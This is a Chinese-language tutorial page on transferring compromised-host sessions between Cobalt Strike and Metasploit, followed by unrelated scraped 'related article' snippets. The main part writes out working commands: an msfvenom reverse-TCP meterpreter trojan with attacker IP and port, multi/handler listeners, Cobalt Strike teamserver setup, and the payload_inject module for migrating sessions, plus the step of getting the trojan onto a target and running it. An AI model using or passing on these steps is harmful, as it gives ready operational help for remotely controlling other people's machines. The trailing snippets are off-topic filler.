内网安全：Cobalt Strike 与 MSF 联动（ 会话 相互转移 ）
内网安全：Cobalt Strike 与 MSF 联动（ 会话 相互转移 ）
在渗透中，有时候 Cobalt Strike 会话可能会受限制，所以我们需要把 Cobalt Strike 会话转移到 MSF 上进行后面的渗透。也有的时候会话在 MSF 上，但是我们需要 操作更简便 或者 展示力更好，所以我们会把 MSF 上的会话转移到 Cobalt Strike 上进行后面的渗透.
目录：
内网安全：Cobalt Strike 与 MSF 联动（ 会话 相互转移 ）
在 MSF 会话中 转移 会话到 CS 上.
（1）上线 MSF 会话.
（2）进行监听模式.
（3）开启 Cobalt Strike 工具.
（4）添加一个监听.
（5）会话转移到 CS 中.
在 CS 会话中 转移 会话到 MSF 上.
（1）开启 Cobalt Strike 工具.
（2）添加一个监听.
（3）生成一个程序.(木马)
（4）重新添加一个监听器.
（5）会话转移到 MSF 中.
在 MSF 会话中 转移 会话到 CS 上.
（1）上线 MSF 会话.
生成一个程序后面（木马）：msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.106 lport=4422 -f exe > bgxg.exe
（2）进行监听模式.
（1）msfconsole（2）use exploit/multi/handler（3）set payload windows/meterpreter/reverse_tcp（4）set lhost 192.168.0.106 # 本地 IP 地址（5）set LPORT 4422 # 和后面一样的端口（6）run
（3）开启 Cobalt Strike 工具.
服务端：（1）cd cs4.7 //切换为 cs 目录（2）chmod a+x ./TeamServerImage // 修改权限.（3）./teamserver 192.168.0.106 888888 //这里的IP地址是 服务端的IP，后面的是客户端的登录密码.
客户端：（1）cd cs4.7 // 切换为 cs 目录（2）./start.sh // 打开 客户端.
（4）添加一个监听.
（5）会话转移到 CS 中.
（1）background // 挂起 会话.（2）use exploit/windows/local/payload_inject（3）set payload windows/meterpreter/reverse_http（4）set lhost 192.168.0.101 //设置 CS 服务端的 IP 地址.（5）set lport 8080 //设置 CS 服务端的 监听的端口(刚刚上面创建的端口号一样[CS的])（6）set DisablePayloadHandler True（7）set PrependMigrate True（8）sessions -l //查看 会话 是多少则设置多少（9）set session 1 [一般是 1(上面查看的结果)]（10）exploit // 进行 测试.
在 CS 会话中 转移 会话到 MSF 上.
（1）开启 Cobalt Strike 工具.
服务端：（1）cd cs4.7 //切换为 cs 目录（2）chmod a+x ./TeamServerImage // 修改权限.（3）./teamserver 192.168.0.106 888888 //这里的IP地址是 服务端的IP，后面的是客户端的登录密码.
客户端：（1）cd cs4.7 // 切换为 cs 目录（2）./start.sh // 打开 客户端.
（2）添加一个监听.
（3）生成一个程序.(木马)
想方法，把这个程序上传到目标主机并执行这个执行.
（4）重新添加一个监听器.
（5）会话转移到 MSF 中.
（1）msfconsole // 打开 MSF 工具（2）use exploit/multi/handler // 设置 监听 模块.（3）set payload windows/meterpreter/reverse_http // 设置 payload（4）set lport 9999 // 设置一个端口（和上面的监听一样的端口）（5）set lhost 0.0.0.0 // 设置本地的 IP 地址（6）exploit // 进行测试
相关文章：
内网安全：Cobalt Strike 与 MSF 联动（ 会话 相互转移 ）
内网安全：Cobalt Strike 与 MSF 联动（ 会话 相互转移 ） 在渗透中，有时候 Cobalt Strike 会话可能会受限制，所以我们需要把 Cobalt Strike 会话转移到 MSF 上进行后面的渗透。也有的时候会话在 MSF 上，但是…...
性能测试讲解超详细Jmeter
目录 什么是性能 性能测试的目的 功能测试和性能测试 基准测试 负载测试 稳定性测试 压力测试 并发测试 总结 性能测试指标 响应时间 并发数 吞吐量 点击数 错误率 资源使用率 总结 性能测试流程 性能测试需求分析 性能测试计划和方案 编辑性能测试用例编辑 性…...
微服务 – Spring Cloud – Nacos 配置中心
微服务 – Spring Cloud – Nacos 配置中心 文章目录 微服务 – Spring Cloud – Nacos 配置中心打开nacos面板新建配置引入依赖配置文件启动类业务类打开nacos面板新建配置 Data ID: nacos-config-client-dev.yaml Group: DEV-CLOUD2023 config:info: config info lalalal …...
超细，设计一个“完美“的测试用例，用户登录模块实例...
目录：导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结（尾部小惊喜） 前言 好的测试用例一定…...
【C#】文件拖拽，获取文件路径
系列文章 【C#】编号生成器（定义单号规则、固定字符、流水号、业务单号） 本文链接：https://blog.csdn.net/youcheng_ge/article/details/129129787 【C#】日期范围生成器（开始日期、结束日期） 本文链接：h…...
SAP PI/PO初步了解 2023.07.03
SAP PI/PO 是SAP 提供的一种集成中间件解决方案，用于在组织内部或不同组织之间实现系统的无缝通信和数据交换。它使企业能够以统一高效的方式集成各种应用和系统，无论这些系统的技术平台或数据格式如何。 以下是关于SAP PI/PO的简要概述： 1…...
Java中生产者消费者模型
在Java中，生产者消费者模型是一种常见的多线程编程模型，用于解决生产者和消费者之间的数据交互问题。 简介 生产者（Producer）负责生成数据，并将数据放入共享的缓冲区（队列）中。消费者…...
测试Hyperledger Fabric环境
首先进入fabric-samples目录中的first-networked 子目录 cd fabric-samples/first-network 在first-network目录下有一个自动化脚本byfn.sh,可以使用-help参数查看相应的可 用命令，在命令提示符中输入如下命令： ./byfn.sh --help命令执行成功后&#…...
ClickHouse查询sql长度超超过最大限制
ClickHouse查询sql长度超超过最大限制 Max query size exceeded ClickHouse exception, message: Code: 62. DB::Exception: Syntax error: failed at position 262102 (‘fwm00ud6a3ynu0kaxr.ya0eyemkbzdvrxkhwgchccll’) (line 10406, col 17): fwm00ud6a3ynu0kaxr.ya0eyemk…...
【Axure教程】拖动调整行高列宽的表格
表格是在系统软件中非常常用的工具。表格通常由行和列组成，用于以结构化的方式显示和组织数据。它们在各种场景中都有广泛的应用，包括数据分析、数据录入、报表生成、项目管理和数据可视化等领域。 今天作者就教大家如何在Axure里制作一个能通过鼠标拖动…...
中间件-netty(1)
netty 前言篇 文章目录 一、IO基础篇1.概念1.1 阻塞(Block)和非阻塞(Non-Block)1.2 同步(Synchronization)和异步(Asynchronous)1.3 BIO 与 NIO 对比1.3.1 面向流与面向缓冲1.3.2 阻塞与非阻塞1.3.3 选择器的问世 2.NIO 和 BIO 如何影响应用程序的设计2.1 API调用2.2 数据处理2…...
【方法】想把PDF文档转换成PPT，如何操作？
很多小伙伴在工作中，会使用PDF或者PPT来展示内容。那如果需要把PDF转换成PPT，要如何操作呢？ 我们知道，PPT转换成PDF很容易操作，只需通过PPT的【导出】选项，就可以直接转换成PDF；还可以通过“另…...
Linux--设置目录或文件的默认权限：umask权限掩码
目录起始权限是从777，普通文件起始权限从666 为何我们创建一个目录或文件，默认权限是你所看到的样子？ 因为凡是在umask中出现的权限，都不应该在最终权限中出现！ 最终权限起始权限&（~umask）…...
)
C++实现websocket单server单client全双工通信(基于boost！！！)
自身环境：ubuntu18.04gcc7.5.0boost1.7,3 环境配置 gcc或者g一般都有，这里主要介绍一下boost的配置方法 执行如下代码： wget https://boostorg.jfrog.io/artifactory/main/release/1.73.0/source/boost_1_73_0.tar.bz2 --no-check-cert…...
好用的网址5
搜番神器：https://trace.moe/ Online converter：Online converter - convert video, images, audio and documents for free 格式转换 GIF Explode：https://gif-explode.com/ SongDonkey：SongDonkey - AI Online Audio Split…...
做项目去实习到底做的什么？
300万字！全网最全大数据学习面试社区等你来！ 今天是手机编辑的文章，说说做项目/实习这回事。 我之前发过一些视频，讲校招四要素的，其中一个很重要的部分就是实习。 对社招同学来说，就简单了，面试…...
VSC++： 验证身份证
缘由https://ask.csdn.net/questions/1082358 void 验证身份证() {//缘由https://ask.csdn.net/questions/1082358int 权重[] { 7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2 }, 个 0, j 0, a 0, he 0;char M[] "10X98765432", 身份号[100][20]{};//…...
机器学习-方差和偏差理论
机器学习-方差和偏差理论 关于机器学习方差和偏差的内容其实很重要，这个方差和偏差可以帮助我们去分析，模型的泛化能力和过拟合的程度。 下面我们先给存储方差和偏差的公式： 注意，下式当中， f ( x ; D ) 表示在数据集…...
力扣 669. 修剪二叉搜索树
题目来源：https://leetcode.cn/problems/trim-a-binary-search-tree/description/ C题解1：递归法。当前节点为空时返回空，不为空时对其值进行分类讨论。以low为例，当前节点值等于low时，意味着其左子树都要丢弃…...
ChatGPT在多轮对话中的表现如何？
ChatGPT是一个非常强大的自然语言处理模型，它可以生成高质量的自然语言文本，并且在多轮对话中也有很好的表现。以下是关于ChatGPT在多轮对话中表现的详细介绍： 上下文感知 ChatGPT可以通过上下文感知来理解当前对话的语境和主题。在多轮对话…...
模型参数、模型存储精度、参数与显存
模型参数量衡量单位 M：百万（Million） B：十亿（Billion） 1 B 1000 M 1B 1000M 1B1000M 参数存储精度 模型参数是固定的，但是一个参数所表示多少字节不一定，需要看这个参数以什么…...
pam_env.so模块配置解析
在PAM（Pluggable Authentication Modules）配置中， /etc/pam.d/su 文件相关配置含义如下： 配置解析 auth required pam_env.so1. 字段分解 字段值说明模块类型auth认证类模块，负责验证用户身份&am…...
Objective-C常用命名规范总结
【OC】常用命名规范总结 文章目录 【OC】常用命名规范总结1.类名（Class Name)2.协议名（Protocol Name)3.方法名（Method Name)4.属性名（Property Name）5.局部变量/实例变量（Local / Instance Variables&…...
连锁超市冷库节能解决方案：如何实现超市降本增效
在连锁超市冷库运营中，高能耗、设备损耗快、人工管理低效等问题长期困扰企业。御控冷库节能解决方案通过智能控制化霜、按需化霜、实时监控、故障诊断、自动预警、远程控制开关六大核心技术，实现年省电费15%-60%，且不改动原有装备、安装快捷、…...
【RockeMQ】第2节｜RocketMQ快速实战以及核⼼概念详解（二）
升级Dledger高可用集群 一、主从架构的不足与Dledger的定位 主从架构缺陷 数据备份依赖Slave节点，但无自动故障转移能力，Master宕机后需人工切换，期间消息可能无法读取。Slave仅存储数据，无法主动升级为Master响应请求ÿ…...
代理篇12|深入理解 Vite中的Proxy接口代理配置
在前端开发中，常常会遇到 跨域请求接口 的情况。为了解决这个问题，Vite 和 Webpack 都提供了 proxy 代理功能，用于将本地开发请求转发到后端服务器。 什么是代理（proxy）？ 代理是在开发过程中，前端项目通过开发服务器，将指定的请求“转发”到真实的后端服务器，从而绕…...
html css js网页制作成品——HTML+CSS榴莲商城网页设计（4页）附源码
目录 一、👨🎓网站题目 二、✍️网站描述 三、📚网站介绍 四、🌐网站效果 五、🪓 代码实现 🧱HTML 六、🥇 如何让学习不再盲目 七、🎁更多干货 一、👨…...
Xen Server服务器释放磁盘空间
disk.sh #!/bin/bashcd /run/sr-mount/e54f0646-ae11-0457-b64f-eba4673b824c # 全部虚拟机物理磁盘文件存储 a$(ls -l | awk {print $NF} | cut -d. -f1) # 使用中的虚拟机物理磁盘文件 b$(xe vm-disk-list --multiple | grep uuid | awk {print $NF})printf "%s\n"…...
嵌入式学习笔记DAY33（网络编程——TCP）
一、网络架构 C/S （client/server 客户端/服务器）：由客户端和服务器端两个部分组成。客户端通常是用户使用的应用程序，负责提供用户界面和交互逻辑 ，接收用户输入，向服务器发送请求，并展示服务…...
RabbitMQ入门4.1.0版本（基于java、SpringBoot操作）
RabbitMQ 一、RabbitMQ概述 RabbitMQ RabbitMQ最初由LShift和CohesiveFT于2007年开发，后来由Pivotal Software Inc.（现为VMware子公司）接管。RabbitMQ 是一个开源的消息代理和队列服务器，用 Erlang 语言编写。广泛应用于各种分布…...